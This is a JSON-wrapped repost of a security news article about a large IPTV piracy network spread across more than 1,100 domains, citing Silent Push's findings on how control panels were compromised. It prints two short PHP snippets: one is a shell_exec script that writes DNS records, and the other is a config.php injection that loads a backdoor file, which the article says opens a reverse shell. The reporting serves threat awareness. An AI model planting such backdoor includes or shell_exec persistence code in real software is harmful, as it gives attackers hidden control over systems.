{"id":6648,"date":"2025-09-04T10:03:36","date_gmt":"2025-09-04T10:03:36","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/09\/04\/massive-iptv-hosted-across-more-than-1000-domains-and-over-10000-ip-addresses\/"},"modified":"2025-09-04T10:03:36","modified_gmt":"2025-09-04T10:03:36","slug":"massive-iptv-hosted-across-more-than-1000-domains-and-over-10000-ip-addresses","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/09\/04\/massive-iptv-hosted-across-more-than-1000-domains-and-over-10000-ip-addresses\/","title":{"rendered":"Massive IPTV Hosted Across More Than 1,000 Domains and Over 10,000 IP Addresses"},"content":{"rendered":"

Massive IPTV Hosted Across More Than 1,000 Domains and Over 10,000 IP Addresses
\n \t

\n
<\/BR>
\n
\n \t

\n
<\/BR><\/p>\n

\n

A sprawling network of illicit Internet Protocol Television (IPTV) services has been discovered, operating across more than 1,100 domains and in excess of 10,000 IP addresses.<\/p>\n

This sprawling infrastructure, which has remained active for several years, delivers unauthorized streams of premium content\u2014including major sports leagues, subscription services, and on-demand platforms\u2014without licensing agreements.<\/p>\n

Silent Push analysts noted that this network\u2019s use of both high-volume IP address pools and rapidly rotating domains represents a significant escalation in piracy tactics, making traditional takedown processes nearly futile.<\/p>\n

At its core, the network<\/a> relies on customized IPTV panels built around modified open-source software such as Stalker Portal and Xtream UI.<\/p>\n

These panels facilitate automated user authentication and stream distribution, allowing operators to provision hundreds of thousands of simultaneous sessions.<\/p>\n

Rather than depending on a single front-end domain, the operators employ a large pool of proxy domains\u2014each resolving to multiple shared IP addresses\u2014to obfuscate the true origin of the streams.<\/p>\n

Silent Push researchers identified two companies, XuiOne and Tiyansoft, and an individual, Nabi Neamati of Herat, Afghanistan, as principal beneficiaries of this infrastructure.<\/p>\n

\n
\"\"
XUIone website (Source \u2013 Silent Push)<\/figcaption><\/figure>\n<\/div>\n

The attack vectors begin with server-side exploitation and credential harvesting. Malicious actors compromise under-protected web hosts or exploit outdated control panels to install custom modules that inject backdoors into legitimate streaming control software.<\/p>\n

In many cases, operators gain initial access by exploiting default credentials on cPanel, Plesk, and Stalker Portal installations.<\/p>\n

Once access is secured, a deployment script\u2014often obfuscated<\/a> via Base64 encoding\u2014pushes modified PHP files and cron jobs to automate the registration of new domains and the rotation of stream endpoints.<\/p>\n

Silent Push analysts identified<\/a> one such script that uses the following code snippet to register new virtual hosts:<\/p>\n

$domain = trim(shell_exec('wp option get siteurl'));\n$ipList = ['158.220.114.199','46.202.197.208'];\nforeach ($ipList as $ip) {\n    shell_exec(\"echo '$domain IN A $ip' >> \/etc\/bind\/db.piracy\");\n}\nshell_exec('rndc reload');<\/code><\/pre>\n
Despite repeated takedown requests, the network\u2019s agility in rotating both domains and IP addresses allows it to remain operational.<\/p>\n
New domains appear almost daily, with each resolving to clusters of dynamic IP addresses provisioned via bullet-proof hosting providers.<\/p>\n
This resilient structure poses a formidable challenge to rights holders and law enforcement agencies attempting to disrupt the service.<\/p>\n
Infection Mechanism Through Control Panel Exploits<\/strong><\/h2>\n
A particularly insidious aspect of this IPTV piracy network is its infection mechanism, which centers on compromised control panels.<\/p>\n
\n
\"\"
Xtream UI (Source \u2013 Silent Push)<\/figcaption><\/figure>\n<\/div>\n
Operators survey the internet for misconfigured or outdated installations of Stalker Portal and Xtream UI, using automated scanners to detect vulnerable endpoints on ports 80, 8080, and 2095.<\/p>\n
\n
\"\"
Stalker Portal and Xtream portal (Source \u2013 Silent Push)<\/figcaption><\/figure>\n<\/div>\n
Upon identifying a target, they deploy a multi-stage payload<\/a> that begins with a low-profile reconnaissance module.<\/p>\n
This module enumerates existing user accounts, collects hashed credentials, and exfiltrates configuration files containing API keys.<\/p>\n
A second stage installs a persistent backdoor by modifying the config.php<\/code> file within the panel\u2019s directory:-<\/p>\n
if (!defined('IPTV_INIT')) {\n    define('IPTV_INIT', true);\n    require_once __DIR__ . '\/backdoor.php';\n}<\/code><\/pre>\n
The backdoor script, backdoor.php<\/code>, establishes a reverse shell to a command-and-control server whenever an administrator logs in, effectively granting the attackers full control over the panel.<\/p>\n
This persistent foothold enables continuous updates to the hosting infrastructure, seamless domain registration, and dynamic IP assignment\u2014ensuring that new entry points replace any that have been taken down.<\/p>\n
As a result, the network can sustain large-scale piracy operations<\/a> with minimal interruption.<\/p>\n
Boost\u00a0your\u00a0SOC and help your team protect your business with free top-notch threat intelligence:\u00a0Request TI Lookup Premium Trial<\/a>.<\/code><\/strong><\/p>\n
The post Massive IPTV Hosted Across More Than 1,000 Domains and Over 10,000 IP Addresses<\/a> appeared first on Cyber Security News<\/a>.<\/p>\n<\/div>\n
 \t

\n 
<\/BR>
\n    Tushar Subhra Dutta
\n \t

\n
<\/BR>
\nGo to cyber-security-news<\/a>
\n \t

\n 
<\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"
Massive IPTV Hosted Across More Than 1,000 Domains and Over 10,000 IP Addresses A sprawling network of illicit Internet Protocol Television (IPTV) services has been discovered, operating across more than 1,100 domains and in excess of 10,000 IP addresses. This sprawling infrastructure, which has remained active for several years, delivers unauthorized streams of premium content\u2014including […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-6648","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/6648"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=6648"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/6648\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=6648"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=6648"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=6648"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}